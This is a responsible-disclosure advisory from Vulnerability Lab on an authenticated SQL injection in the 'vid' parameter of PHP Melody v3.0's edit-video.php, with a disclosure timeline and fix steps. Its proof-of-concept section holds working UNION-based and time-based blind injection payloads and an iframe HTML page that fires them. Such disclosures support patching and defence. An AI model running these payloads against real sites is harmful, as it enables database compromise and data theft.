Share
## https://sploitus.com/exploit?id=PACKETSTORM:164656
Document Title:  
===============  
PHP Melody v3.0 - (vid) SQL Injection Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2295  
  
Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/  
  
  
Release Date:  
=============  
2021-10-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2295  
  
  
Common Vulnerability Scoring System:  
====================================  
7  
  
  
Vulnerability Class:  
====================  
SQL Injection  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.  
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,  
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.  
  
(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the PHP Melody v3.0 video cms web-application.  
  
  
Affected Product(s):  
====================  
PHPSUGAR  
Product: PHP Melody v3.0 - Video CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-09-01: Researcher Notification & Coordination (Security Researcher)  
2021-09-02: Vendor Notification (Security Department)  
2021-09-04: Vendor Response/Feedback (Security Department)  
2021-09-22: Vendor Fix/Patch (Service Developer Team)  
2021-09-22: Security Acknowledgements (Security Department)  
2021-10-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Full Authentication (Admin/Root Privileges)  
  
  
User Interaction:  
=================  
No User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
A remote sql-injection vulnerability has been discovered in the PHP Melody v3.0 video cms web-application.  
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or  
file system of the web-application.  
  
The remote sql injection vulnerability is located in the `vid` parameter of the `edit-video.php` file.  
Remote attackers with moderator or admin access privileges are able to execute own malicious sql commands  
by inject get method request. The vid parameter in the acp ui is not sanitized properly. Thus allows an  
attacker to inject own sql commands to compromise the web-application and dbms.  
  
Exploitation of the remote sql injection vulnerability requires no user interaction but a privileged moderator or admin account.  
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] Video Edit  
  
Vulnerable File(s):  
[+] edit-video.php  
  
Vulnerable Parameter(s):  
[+] vid  
  
  
Proof of Concept (PoC):  
=======================  
The remote sql-injection web vulnerability can be exploited by authenticated remote attackers without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Original:  
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd&a=4&page=1&filter=added&fv=desc  
  
  
PoC: Exploitation #1  
https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,  
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
  
  
PoC: Exploitation #2  
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--  
  
  
PoC: Exploit  
<html>  
<head><body>  
<title>phpmelody vid sql injection poc</title>  
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,  
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--">  
<br>  
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--">  
</body></head>  
</html>  
  
  
Reference(s):  
https://phpmelody.localhost:8000/  
https://phpmelody.localhost:8000/admin/  
https://phpmelody.localhost:8000/admin/edit-video.php  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be resolved by the following steps ...  
1. Use a prepared statement to build the query  
2. Restrict the parameter input to disallow special chars  
3. Escape and encode the content to prevent execution of malicious payloads  
4. Alternativ it is possible to integrate a web firewall or filter class to block further attacks.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab  
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits  
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do  
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.  
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com  
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com  
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other  
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or  
edit our material contact (admin@ or research@) to get a ask permission.  
  
Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY (VULNERABILITY LAB)  
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE  
LUDWIG-ERHARD STRAßE 4  
34131 KASSEL - HESSEN  
DEUTSCHLAND (DE)